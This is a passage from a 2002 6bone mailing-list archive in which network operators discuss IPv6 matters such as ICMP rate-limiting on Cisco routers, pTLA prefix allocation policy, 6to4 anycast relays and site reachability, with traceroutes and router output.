> in the ICMP6 draft standard candidate draft.
>=20
> --=20
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

Indeed, this rate limiting is unfortunately on by default.  If you
happen to have such a router and upgrading the IOS isn't feasable, you
can work around it with 'ipv6 icmp error-interval 0' in configuration
mode.

I don't think it's very likely that people are going to be DoSing IPv6
routers just yet...  At least I hope not.

--=20
Ben Winslow (rain@bluecherry.net) : When you are in it up to your
       System Administrator       : ears, keep your mouth shut. =20
   Bluecherry Internet Services   :=20
    http://www.bluecherry.net/    :=20
          (573) 592-0800          :=20

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From 6bone-owner  Sun Mar  3 13:20:55 2002
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Subject: RE: IPv6 packet losses - 20% normal on traceroute6s?
Date: Sun, 3 Mar 2002 13:20:50 -0800
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> Pekka Savola wrote:
> This is most probably caused by hare-brained ICMP error
> rate-limiting; you can detect old Cisco's from the crowd
> as they drop about every other traceroute.  It has been
> fixed in recently released 12.2(8)T, and remedied in the
> ICMP6 draft standard candidate draft.

Unfortunately 12.2(8)T is not issue-free. For example, priority queuing on ATM interfaces has disappeared. I rolled backed to 12.2.(4)T3.
I think that "ipv6 icmp error-interval 0" takes care of that issue.

Michel.


From 6bone-owner  Mon Mar  4 05:03:12 2002
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It seems to me that the biggest use for configured IP addresses is in 
resolv.conf files (or platform equivalent), or at least for services 
that can be characterized as local in nature.

And if it's local in nature, then why on *earth* are people not using 
site-local addressing for that sort of thing, pray tell? *Especially* 
for resolv.conf files (there is even an IETF draft suggesting that 
fec0:0:0:ffff::{1,2,3} be considered defaults for resolving servers in 
the absense of configured ones).

If we don't regard the prospect of renumbering networks to be *routine*, 
we're going to end up in the same nasty mess that IPv4 is in today with 
regards to the size of the non-default routing table.


From 6bone-owner  Tue Mar  5 15:25:47 2002
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8370::/28 allocated to NTT-DOCOMO
Cc: Bill Manning <bmanning@ISI.EDU>,
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NTT-DOCOMO has been allocated pTLA 3FFE:8370::/28 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?NTT-DOCOMO>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Tue Mar  5 15:43:09 2002
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Date: Tue, 05 Mar 2002 15:43:10 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA prefix length
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6bone Folk,

The review period for the new 6bone pTLA prefix and policy proposal is 
over. I sense no disagreement on changing the prefix length to /32, but 
various degrees of concern over the policy changes.

Thus I will start allocating from the 3FFE:4000::/32 thru 3FFE:7FFF::/32 
range immediately, but will not change any policy for the moment. I will no 
longer allocate pTLA's from the /28 range (I have closed out the /24 range 
previously).

I will present a summary of the discussions on the policy changes at the 
upcoming ngtrans meeting in Minneapolis. This will presumably bring more 
comment/discussion, and then I will come back to the list for closure and, 
possibly, a change of policy if appropriate.


Thanks,

Bob

===
>Date: Sun, 17 Feb 2002 17:47:25 -0800
>To: 6BONE List <6bone@isi.edu>
>From: Bob Fink <fink@es.net>
>Subject: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
>
>6bone Folk,
>
>We are seeing a recent increase in pTLA requests, and it prompts me to 
>recommend a change in pTLA prefix length to allow for future growth. 
>Basically I propose changing from the /28 prefixes we now allocate to /32:
>
>===
>The current 6bone pTLA numbering plan is:
>
>   3FFE:0000::/24 thru 3FFE:3900::/24 are allocated [there are 58 /24 pTLA's]
>
>   3FFE:8000::/28 thru 3FFE:8340::/28 are allocated [there are 54 /28 pTLA's]
>
>I propose:
>
>   3FFE:0000::/24 thru 3FFE:3F00::/24  [no new allocations here]
>
>   3FFE:8000::/28 thru 3FFE:83F0::/28  [no new allocations here]
>
>   3FFE:4000::/32 thru 3FFE:7FFF::/32  [which provides for 16K /32 pTLA's]
>
>leaving:
>
>   3FFE:8400::/32 thru 3FFE:FFFF::/32  for future use
>
>===
>
>In addition, I would like you to consider some possible policy changes:
>
>1. requiring existing pTLA /24 and /28 holders to renumber to a new /32, 
>unless justifying why it is not possible due to usage and/or address 
>layout issues, within 6 months (12 months?) of the change in policy.
>
>2. encouraging pTLA holders to apply for a production subTLA allocation 
>when they move to a fully production mode; requiring those charging for 
>service to also apply for a production subTLA allocation; requiring the 
>pTLA to be released within 6 months (12 months?) of acquiring a subTLA 
>unless justifying why the pTLA allocation is still needed/required.
>
>3. pTLA holders should not assign pTLA based allocations to paying 
>customers except for early test/trial purposes.  paying customers should 
>always receive RIR based allocations when service is not for test/trial 
>purposes.
>
>4. requiring a restatement of pTLA usage and continuing need every 2 years.
>
>5. requiring the return of a pTLA when it is no longer used by the 
>original requesting entity. this is the de facto policy, but has not been 
>stated previously.
>
>
>Please send comments to the 6bone list by 4 March 2002.
>
>
>Thanks,
>
>Bob



From 6bone-owner  Thu Mar  7 10:14:28 2002
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Date: Thu, 07 Mar 2002 19:14:37 +0100
From: Jonas Willen <jwi@it.kth.se>
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Help!

I am maintaining the our connection to 6bone network and have misplaced
(forgotten) the password
what should I do???

/Jonas Willén





From 6bone-owner  Thu Mar  7 10:47:54 2002
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Date: Thu, 07 Mar 2002 10:47:48 -0800
To: Jonas Willen <jwi@it.kth.se>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: password
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Jonas,

At 07:14 PM 3/7/2002 +0100, Jonas Willen wrote:
>Help!
>
>I am maintaining the our connection to 6bone network and have misplaced
>(forgotten) the password
>what should I do???

I can reset your AUTH attribute to NONE and you can then reenter a password.

Let me know what your mntnr name is. Take this offline of the 6bone list tho.


Bob


From 6bone-owner  Thu Mar  7 15:41:27 2002
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Date: Thu, 07 Mar 2002 15:40:46 -0800
To: 6bone@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: How plentiful are anycast 6to4 Relay Routers?
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I'm connected to the 6Bone using "6to4", and have my default IPv6 router 
set to "2002:c058:6301::", which, I had read, is the anycast address for a 
6to4 Relay Router.  (This corresponds to IPv4 address "192.88.99.1".)

When I traceroute this address, I find that it's located over in Europe 
somewhere:

%traceroute 192.88.99.1
traceroute to 192.88.99.1 (192.88.99.1), 64 hops max, 40 byte packets
  1  dsl-router (66.80.0.1)  1.859 ms  1.603 ms  1.547 ms
  2  sdsl-64-139-6-1.dsl.sca.megapath.net (64.139.6.1)  8.747 ms  11.575 
ms  7.382 ms
  3  fe4-0.border1.sca.megapath.net (66.80.60.130)  9.789 ms  8.817 
ms  10.310 ms
  4  csr11.sntc08.exodus.net (66.35.210.201)  9.557 ms  11.199 ms  9.943 ms
  5  dcr01-g3-0.sntc08.exodus.net (66.35.194.81)  9.316 ms  10.019 ms  9.114 ms
  6  bbr02-g2-0.sntc08.exodus.net (66.35.194.2)  10.129 ms  10.438 ms  9.672 ms
  7  bbr01-p8-0.sntc04.exodus.net (206.79.9.186)  8.672 ms  8.260 ms  7.980 ms
  8  bbr01-p1-0.ftwo01.exodus.net (209.185.9.110)  43.338 ms  42.450 
ms  42.018 ms
  9  bbr02-p3-0.ekgv01.exodus.net (206.79.9.54)  73.712 ms  72.601 
ms  72.125 ms
10  bbr01-p2-0.okbr01.exodus.net (206.79.9.129)  67.923 ms  66.695 
ms  66.467 ms
11  bbr01-p2-0.whkn01.exodus.net (206.79.9.134)  91.080 ms  91.069 
ms  89.296 ms
12  bbr01-p1-3.jrcy01.exodus.net (209.1.169.54)  91.380 ms  90.283 
ms  90.335 ms
13  ibr03-g6-1.jrcy01.exodus.net (216.32.223.134)  91.212 ms  90.065 
ms  89.570 ms
14  usnyk404-tc-p8-0.ebone.net (195.158.229.129)  91.669 ms  106.875 
ms  92.561 ms
15  gblon524-tc-p2-0.ebone.net (213.174.70.57)  168.409 ms  167.214 
ms  166.578 ms
16  frpar309-tc-p9-0.ebone.net (213.174.71.66)  178.830 ms  177.729 
ms  177.271 ms
17  frpar308-tc-p4-0.ebone.net (213.174.70.141)  178.256 ms  177.279 
ms  188.050 ms
18  behoe108-ta-p1-0.ebone.net (195.158.225.98)  189.254 ms  189.281 
ms  189.200 ms
19  behoe112-ec-f0-0.ebone.net (195.158.225.251)  185.323 ms *  184.061 ms

"traceroute6" also give results consistent with this:

%traceroute6 2002:c058:6301::
traceroute6 to 2002:c058:6301:: (2002:c058:6301::) from 2002:4250:2::1, 30 
hops max, 12 byte packets
  1  2002:c058:6301::  187.625 ms  186.123 ms  184.937 ms

Not a great situation.  Is there really noone 'closer' advertising a route 
to this anycast address?

Should I not be using "2002:c058:6301::" as my default IPv6 router after all?

	Ross.


From 6bone-owner  Thu Mar  7 16:55:30 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "Mailing-List 6bone" <6bone@ISI.EDU>
Cc: "Mailing-List Zebra" <zebra@zebra.org>
Subject: ASPath-tree & Zebra
Date: Fri, 8 Mar 2002 01:53:46 +0100
Organization: NDSoftware Group
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Hello all,

I think many people use ASPath-tree with Zebra...

Who can help me to run ASPath-tree with Zebra because i have this:
http://noc.fastnetxp.com/stats/ipv6/bgp/bgp.html
ASpath-tree work but don't get routing table :(

My conf:

rsh-cisco.pl:
# RSH command to get the BGP4+ AS Path table
	open(OUTPUT,"/usr/local/zebra/zc.pl -l password -b \"show bgp
ipv6\" |");

When i try zc.pl, work fine: 
$ /usr/local/zebra/zc.pl -l password -b "show bgp ipv6"
BGP table version is 0, local router ID is 213.91.4.3
Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
Origin codes: i - IGP, e - EGP, ? - incomplete
 
   Network                                  Metric LocPrf Weight Path
*  2001:200::/35                                               0 278
8002 2500 i
     3ffe:8271:201:2031::2(fe80::84f8:6cfe)
*  2001:200::/35                                               0 5408
8002 2500 i
     3ffe:2d00:1::2c(fe80::c2b1:d226)
*  2001:200::/35                               500             0 7521
4697 2500 i
     3ffe:8271:201:2016::2(fe80::d2ad:a02a)
*  2001:200::/35                                               0 20745
20745 20745 20745 20745 20745 20745 5609 8002 2500 i

Where is the error ?

Any help are welcome.

Thanks very much,

Best Regards,

Nicolas DEFFAYET


From 6bone-owner  Fri Mar  8 00:02:59 2002
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From: "Andreas 'randy' Weinberger" <randy@ipcenta.de>
To: <6bone@ISI.EDU>
References: <4.3.1.1.20020307153655.00ca8420@laptop-localhost>
Subject: Re: How plentiful are anycast 6to4 Relay Routers?
Date: Fri, 8 Mar 2002 09:04:15 +0100
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hello ross,

> I'm connected to the 6Bone using "6to4", and have my default IPv6 router 
> set to "2002:c058:6301::", which, I had read, is the anycast address for a 
> 6to4 Relay Router.  (This corresponds to IPv4 address "192.88.99.1".)

...

> %traceroute6 2002:c058:6301::
> traceroute6 to 2002:c058:6301:: (2002:c058:6301::) from 2002:4250:2::1, 30 
> hops max, 12 byte packets
>   1  2002:c058:6301::  187.625 ms  186.123 ms  184.937 ms

why dont you use a "real" tunnelbroker instead of the anycast?

imho the anycast is good for the first tests but for more i prefere tunnels
with either 3ffe or 2001 space :)

> Ross.


bye, 
--------- andreas 'randy' weinberger ---------

         internet system engineer,
 php development, sun microsystems workgroup
   computing expert & digitale videotechnik
 
  CompleTel GmbH (http://www.completel.de/)
-------



From 6bone-owner  Fri Mar  8 03:14:45 2002
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Date: Fri, 8 Mar 2002 12:14:53 +0100
From: Jesper Skriver <jesper@skriver.dk>
To: "Andreas 'randy' Weinberger" <randy@ipcenta.de>
Cc: 6bone@ISI.EDU
Subject: Re: How plentiful are anycast 6to4 Relay Routers?
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On Fri, Mar 08, 2002 at 09:04:15AM +0100, Andreas 'randy' Weinberger wrote:
> 
> hello ross,
> 
> > I'm connected to the 6Bone using "6to4", and have my default IPv6 router 
> > set to "2002:c058:6301::", which, I had read, is the anycast address for a 
> > 6to4 Relay Router.  (This corresponds to IPv4 address "192.88.99.1".)
> 
> ...
> 
> > %traceroute6 2002:c058:6301::
> > traceroute6 to 2002:c058:6301:: (2002:c058:6301::) from 2002:4250:2::1, 30 
> > hops max, 12 byte packets
> >   1  2002:c058:6301::  187.625 ms  186.123 ms  184.937 ms
> 
> why dont you use a "real" tunnelbroker instead of the anycast?
> 
> imho the anycast is good for the first tests but for more i prefere tunnels
> with either 3ffe or 2001 space :)

Why ?

the anycast trick is good, because the client doesn't need to
configure anything special when moving around, all we need is
that more announce the anycast address ...

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456
Work:    Network manager   @ AS3292 (Tele Danmark DataNetworks)
Private: FreeBSD committer @ AS2109 (A much smaller network ;-)

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From 6bone-owner  Fri Mar  8 03:19:58 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: "Andreas 'randy' Weinberger" <randy@ipcenta.de>
cc: 6bone@ISI.EDU, Ross Finlayson <finlayson@live.com>
Subject: Re: How plentiful are anycast 6to4 Relay Routers?
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On Fri, 8 Mar 2002, Andreas 'randy' Weinberger wrote:
> hello ross,
> 
> > I'm connected to the 6Bone using "6to4", and have my default IPv6 router 
> > set to "2002:c058:6301::", which, I had read, is the anycast address for a 
> > 6to4 Relay Router.  (This corresponds to IPv4 address "192.88.99.1".)
> 
> ...
> 
> > %traceroute6 2002:c058:6301::
> > traceroute6 to 2002:c058:6301:: (2002:c058:6301::) from 2002:4250:2::1, 30 
> > hops max, 12 byte packets
> >   1  2002:c058:6301::  187.625 ms  186.123 ms  184.937 ms

Btw: that particular relay router seems to disobey the addrarch draft that 
anycast address MUST NOT be used as a source address.

FWIW, we're providing anycast relay to the world, there's another in
Switzerland.  I recall Zama used to provide some service too.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Fri Mar  8 08:04:52 2002
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Subject: RE: How plentiful are anycast 6to4 Relay Routers?
Date: Fri, 8 Mar 2002 08:04:57 -0800
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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I remember that a while ago, Bob Fink ran a quick survey about 6to4 relay routers.

> 6to4 relay router survey
> I would like to find out how many of you are deploying/using
> 6to4 relay routers at this time. Also, whether you plan to in
> the future. Please include any technical info, such as anycast
> (or other) use for discovery, and anything else you think
> relevant, e.g., platform...

Bob, could you re-post the results? I can't find them.

Thanks
Michel.

From 6bone-owner  Fri Mar  8 14:23:22 2002
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Date: Fri, 08 Mar 2002 14:23:17 -0800
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Bob Fink <fink@es.net>
Subject: RE: How plentiful are anycast 6to4 Relay Routers?
Cc: <6bone@ISI.EDU>
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At 08:04 AM 3/8/2002 -0800, Michel Py wrote:
>I remember that a while ago, Bob Fink ran a quick survey about 6to4 relay 
>routers.
>
> > 6to4 relay router survey
> > I would like to find out how many of you are deploying/using
> > 6to4 relay routers at this time. Also, whether you plan to in
> > the future. Please include any technical info, such as anycast
> > (or other) use for discovery, and anything else you think
> > relevant, e.g., platform...
>
>Bob, could you re-post the results? I can't find them.

I didn't because there wasn't enough response to be meaningful.


Bob


From 6bone-owner  Sat Mar  9 14:16:47 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: fink@es.net, 6bone@ISI.EDU
Subject: Re: How plentiful are anycast 6to4 Relay Routers?
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Dear diary, on Fri, Mar 08, 2002 at 05:04:57PM CET, I got a letter, where
Michel Py <michel@arneill-py.sacramento.ca.us> told me, that...
> I remember that a while ago, Bob Fink ran a quick survey about 6to4 relay
> routers.

There's something at http://www.kfu.com/~nsayer/6to4/ - it's certainly not
complete, but at least something ;).

-- 

				Petr "Pasky" Baudis

* elinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI hacker

From 6bone-owner  Sun Mar 10 08:16:40 2002
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From: Leif Sandstede <mage@space.com>
To: 6bone@ISI.EDU
Subject: IPv6 DNS service
Date: Sun, 10 Mar 2002 17:26:43 +0100
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Hi

I want to know if there is something like www.dyndns.org for IPv6?
I am on dialup with dynamic ip and want to use a 6to4 gateway to workaround 
the problems NAT/Masquerading pose.
Problem is finding my network from the outside....

Leif Sandstede

From 6bone-owner  Sun Mar 10 12:23:49 2002
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Date: Sun, 10 Mar 2002 21:23:53 +0100
From: Andre Grueneberg <andre@grueneberg.de>
To: Leif Sandstede <mage@space.com>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 DNS service
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Hi Leif,

Leif Sandstede wrote:
> I want to know if there is something like www.dyndns.org for IPv6?
> I am on dialup with dynamic ip and want to use a 6to4 gateway to workarou=
nd=20
> the problems NAT/Masquerading pose.

You'd better use a tunnel broker - You'll have static IPv6 addresses
then.

Andre
--=20
When your argument is weak tell the 'BIG LIE'

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From 6bone-owner  Sun Mar 10 22:49:15 2002
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From: Leif Sandstede <mage@space.com>
To: Christian Kuhtz <ck@arch.bellsouth.net>
Subject: Re: IPv6 DNS service
Date: Mon, 11 Mar 2002 07:59:26 +0100
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Am Montag, 11. März 2002 01:40 schrieben Sie:
> leif,
>
> i'm not aware of something like that.. but we might be able to
> rig a service like that.. what exactly would be your expectation?
>
> thanks,
> chris

Well a static IP would do fine too.
I just expect that someone who wants to find me can find me.
But it would be cool if I had a sub-domain or a second entry for IPv6 in DNS 
for my domain so they can reach my computers.
The problem I had was that I thought that my IPv4 wich is dynamic would 
always be part of my IPv6 address wich would be Dynamic then ,too.
But now I realized the problem is not technical but a policy thing, realy.
If I can find a Channel Broker that gives me real static adresses even if my 
IPv4 is dynamic I would be fine.
But a real domain name instead of that hex stuff would be great none the less.

Leif

From 6bone-owner  Sun Mar 10 23:04:57 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Andre Grueneberg <andre@grueneberg.de>
cc: Leif Sandstede <mage@space.com>, <6bone@ISI.EDU>
Subject: Re: IPv6 DNS service
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On Sun, 10 Mar 2002, Andre Grueneberg wrote:
> Leif Sandstede wrote:
> > I want to know if there is something like www.dyndns.org for IPv6?
> > I am on dialup with dynamic ip and want to use a 6to4 gateway to workaround 
> > the problems NAT/Masquerading pose.
> 
> You'd better use a tunnel broker - You'll have static IPv6 addresses
> then.

It's much easier to set up 6to4.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Mar 11 03:31:39 2002
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Date: Mon, 11 Mar 2002 12:31:41 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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Subject: 6bone web site unreachable over IPv6, connection refused over IPv4
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I can't reach the 6bone web site over IPv6, and when trying over IPv4
I get a connection refused message. Is anyone else experiencing these
problems?

Traceroute from my computer:

> [michael@varg michael]$ traceroute6 -n www.6bone.net
> traceroute to 6bone.net (3ffe:b00:c18:1::10) from 2001:600:101f:0:2a0:ccff:fe52:e0a4, 30 hops max, 16 byte packets
>  1  2001:600:4:8d9::1  41.894 ms  68.622 ms  41.039 ms
>  2  3ffe:2200::260:8ff:fea9:c09b  91.01 ms  100.123 ms  87.584 ms
>  3  * * *
>  4  * * *
>  5  * ^C
> [michael@varg michael]$ ping6 -n www.6bone.net
> PING www.6bone.net (3ffe:b00:c18:1::10): 56 data bytes
>
> --- www.6bone.net ping statistics ---
> 4 packets transmitted, 0 packets received, 100% packet loss
> [michael@varg michael]$ telnet 131.243.129.44 80
> Trying 131.243.129.44...
> telnet: connect to address 131.243.129.44: Connection refused
> [michael@varg michael]$ telnet www.6bone.net 80
> Trying 3ffe:b00:c18:1::10...

It's just sitting at the "Trying...", and has been there for about
three minutes when I am writing this. The traceroute keeps timing out
after 3ffe:2200::260:8ff:fea9:c09b, which according to the 6bone whois
belongs to "Slovak University of Technology, Department of Computer
Science and Engineering", having prefix 3ffe:2200::/24 (ipv6-site
STUBA, origin AS2607). This via IPv6 AS1846 through a tunnel
(v6-in-v4) via IPv4 AS3246. I have no problems with IPv4 connectivity
in general as of now.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
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``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
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From 6bone-owner  Mon Mar 11 06:07:40 2002
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Date: Mon, 11 Mar 2002 15:03:15 +0100 (CET)
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To: <6bone@ISI.EDU>
Subject: Re: 6bone web site unreachable over IPv6, connection refused over
 IPv4
In-Reply-To: <Pine.LNX.4.44.0203111222120.2656-100000@varg.wolfpack>
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Hi

Works fine here.. (atleast from xs26/edisontel/sics/uninett/hio/webonline)

$ traceroute -ainet6 www.6bone.net
traceroute to www.6bone.net (3ffe:b00:c18:1::10), 30 hops max, 60 byte packets
 1  gw.webonline.no (3ffe:82b0:0:1::0)  0.572 ms *  0.579 ms
 2  webonline-gw1.ipv6.xs26.net (3ffe:82b0:0:1:1::1)  32.618 ms  33.196 ms  32.593 ms
 3  edt-webonline.ipv6.edisontel.it (2001:750:e::a)  54.568 ms *  54.264 ms
 4  rap.ipv6.viagenie.qc.ca (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  174.924 ms  175.745 ms  175.700 ms
 5  www.6bone.net (3ffe:b00:c18:1::10)  196.505 ms *  175.262 ms

$ traceroute -ainet6 www.6bone.net
traceroute to www.6bone.net (3ffe:b00:c18:1::10), 30 hops max, 60 byte packets
 1  ip6-gw.p52.hio.no (2001:700:700:4::1)  0.821 ms  0.745 ms  2.608 ms
 2  oslo-gw8.uninett.no (2001:700:0:fff5::1)  3.981 ms  1.865 ms  1.729 ms
 3  6bone-gw-uio.ipv6.sics.se (3ffe:200:1:b::1)  15.272 ms  16.911 ms  13.472 ms
 4  3ffe:200:1:54::2 (3ffe:200:1:54::2)  57.933 ms  57.359 ms  60.075 ms
 5  rap.ipv6.viagenie.qc.ca (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  459.267 ms  464.208 ms  457.512 ms
 6  www.6bone.net (3ffe:b00:c18:1::10)  461.691 ms  459.692 ms  457.696 ms


$ telnet www.6bone.net 80
Trying 3ffe:b00:c18:1::10...
Connected to www.6bone.net.
Escape character is '^]'.

Regards,
Joergen Hovland
WO-NET

On Mon, 11 Mar 2002, Michael Kjorling wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> I can't reach the 6bone web site over IPv6, and when trying over IPv4
> I get a connection refused message. Is anyone else experiencing these
> problems?
>
> Traceroute from my computer:
>
> > [michael@varg michael]$ traceroute6 -n www.6bone.net
> > traceroute to 6bone.net (3ffe:b00:c18:1::10) from 2001:600:101f:0:2a0:ccff:fe52:e0a4, 30 hops max, 16 byte packets
> >  1  2001:600:4:8d9::1  41.894 ms  68.622 ms  41.039 ms
> >  2  3ffe:2200::260:8ff:fea9:c09b  91.01 ms  100.123 ms  87.584 ms
> >  3  * * *
> >  4  * * *
> >  5  * ^C
> > [michael@varg michael]$ ping6 -n www.6bone.net
> > PING www.6bone.net (3ffe:b00:c18:1::10): 56 data bytes
> >
> > --- www.6bone.net ping statistics ---
> > 4 packets transmitted, 0 packets received, 100% packet loss
> > [michael@varg michael]$ telnet 131.243.129.44 80
> > Trying 131.243.129.44...
> > telnet: connect to address 131.243.129.44: Connection refused
> > [michael@varg michael]$ telnet www.6bone.net 80
> > Trying 3ffe:b00:c18:1::10...
>
> It's just sitting at the "Trying...", and has been there for about
> three minutes when I am writing this. The traceroute keeps timing out
> after 3ffe:2200::260:8ff:fea9:c09b, which according to the 6bone whois
> belongs to "Slovak University of Technology, Department of Computer
> Science and Engineering", having prefix 3ffe:2200::/24 (ipv6-site
> STUBA, origin AS2607). This via IPv6 AS1846 through a tunnel
> (v6-in-v4) via IPv4 AS3246. I have no problems with IPv4 connectivity
> in general as of now.
>
>
> Michael Kjörling
>
> - --
> Michael Kjörling  --  Programmer/Network administrator  ^..^
> Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
> PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
>
> ``And indeed people sometimes speak of man's "bestial" cruelty, but
> this is very unfair and insulting to the beasts: a beast can never be
> so cruel as a man, so ingeniously, so artistically cruel.''
> (Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
>
> *** Spammers: see http://michael.kjorling.com/spam ***
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.6 (GNU/Linux)
> Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
>
> iD8DBQE8jJWgKqN7/Ypw4z4RAsxnAJ9ptQvy725VAOIBbuKXc5pTCyJb2wCgo6XF
> IIue2YSgx51tREgyO9byOjA=
> =8WE0
> -----END PGP SIGNATURE-----
>
>



From 6bone-owner  Mon Mar 11 06:17:55 2002
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From: "Lane, Nick" <nick.lane@informa.com>
To: 6bone <6bone@ISI.EDU>, "'Michael Kjorling'" <michael@kjorling.com>
Cc: Bob Fink <fink@es.net>, "Sargeant, Tola" <SargeantT@informa.com>
Subject: RE: 6bone web site unreachable over IPv6, connection refused over
	 IPv4
Date: Mon, 11 Mar 2002 14:26:12 -0000
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Hello,

IP-Core Network analyst (an in-depth, analytical, monthly,
busines-2-business newsletter) is currently working on an article looking at
carrier deployment strategies for IPv6. I realise that 6Bone is an
experimental ad hoc network, but if anyone has any views, comments on the
following questions (see below), either myself or my colleague Tola Sargeant
(tola.sargeant@informa.com), would be pleased to speak to you.

Many thanks in advance

Nick Lane

Which carriers are leading v6 deployment? (In Europe? Asia? U.S.?)

How do their deployment strategies differ? Is there a difference between
incumbent and greenfield operators' strategies?

Do you agree that most seem to be building separate v6 networks (Skanova,
KPNQwest etc.)? Why, in your opinion, are they doing this?

Is this a viable long term strategy, or will they have to integrate v6 into
their v4 core network in the future? Why? When?

Deutsche Telekom expressed a preference for edge-only IPv6 networks, using
dual-stack routers - do you think this will be a common trend among
incumbent vendors going forward? Why?

Is it cheaper / easier to deploy a separate v6 network or to integrate v6
into a v4 network?

Are today's v6-only routers / dual-stack routers stable enough to deploy in
the core of networks? (which are most stable?)

Some in the industry have said that today's IPv6 is an access technology -
would you agree?

Some operators (such as BellSouth?) have said they don't plan to move to
IPv6 yet - does this put them at a disadvantage? Will they eventually have
to move to IPv6 / when?  

Several carriers have said that they don't expect to make any money from v6
for 18 months/2 years - do you agree with them? 
When do you think we can expect volume levels of IPv6 traffic?


_____________________
Nick Lane
Editor, IP-Core Network analyst
www.baskerville.telecoms.com/ipcore
nick.lane@informa.com
Baskerville, informa Telecoms Group,
Mortimer House, 37-41 Mortimer Street,
London, W1T 3JH.
Tel: +44 (0) 20 7017 4260
or +44 (0) 20 7453 2804

To download a free sample of IP-Core Network analyst, visit
www.baskerville.telecoms.com/ipcore or contact Paul Waite
(paul.waite@informa.com) on +44 20 7017 5914

For an online multi-user or corporate subscription contact Owen Hart on tel:
+44 20 7453 2316 / owen.hart@informa.com


> ----------
> From: 	Michael Kjorling
> Sent: 	Monday, March 11, 2002 11:31 am
> To: 	6bone
> Cc: 	Bob Fink
> Subject: 	6bone web site unreachable over IPv6, connection refused
> over IPv4
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> I can't reach the 6bone web site over IPv6, and when trying over IPv4
> I get a connection refused message. Is anyone else experiencing these
> problems?
> 
> Traceroute from my computer:
> 
> > [michael@varg michael]$ traceroute6 -n www.6bone.net
> > traceroute to 6bone.net (3ffe:b00:c18:1::10) from
> 2001:600:101f:0:2a0:ccff:fe52:e0a4, 30 hops max, 16 byte packets
> >  1  2001:600:4:8d9::1  41.894 ms  68.622 ms  41.039 ms
> >  2  3ffe:2200::260:8ff:fea9:c09b  91.01 ms  100.123 ms  87.584 ms
> >  3  * * *
> >  4  * * *
> >  5  * ^C
> > [michael@varg michael]$ ping6 -n www.6bone.net
> > PING www.6bone.net (3ffe:b00:c18:1::10): 56 data bytes
> >
> > --- www.6bone.net ping statistics ---
> > 4 packets transmitted, 0 packets received, 100% packet loss
> > [michael@varg michael]$ telnet 131.243.129.44 80
> > Trying 131.243.129.44...
> > telnet: connect to address 131.243.129.44: Connection refused
> > [michael@varg michael]$ telnet www.6bone.net 80
> > Trying 3ffe:b00:c18:1::10...
> 
> It's just sitting at the "Trying...", and has been there for about
> three minutes when I am writing this. The traceroute keeps timing out
> after 3ffe:2200::260:8ff:fea9:c09b, which according to the 6bone whois
> belongs to "Slovak University of Technology, Department of Computer
> Science and Engineering", having prefix 3ffe:2200::/24 (ipv6-site
> STUBA, origin AS2607). This via IPv6 AS1846 through a tunnel
> (v6-in-v4) via IPv4 AS3246. I have no problems with IPv4 connectivity
> in general as of now.
> 
> 
> Michael Kjörling
> 
> - -- 
> Michael Kjörling  --  Programmer/Network administrator  ^..^
> Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
> PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
> 
> ``And indeed people sometimes speak of man's "bestial" cruelty, but
> this is very unfair and insulting to the beasts: a beast can never be
> so cruel as a man, so ingeniously, so artistically cruel.''
> (Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
> 
> *** Spammers: see http://michael.kjorling.com/spam ***
> 
> -----BEGIN PGP SIGNATURE-----
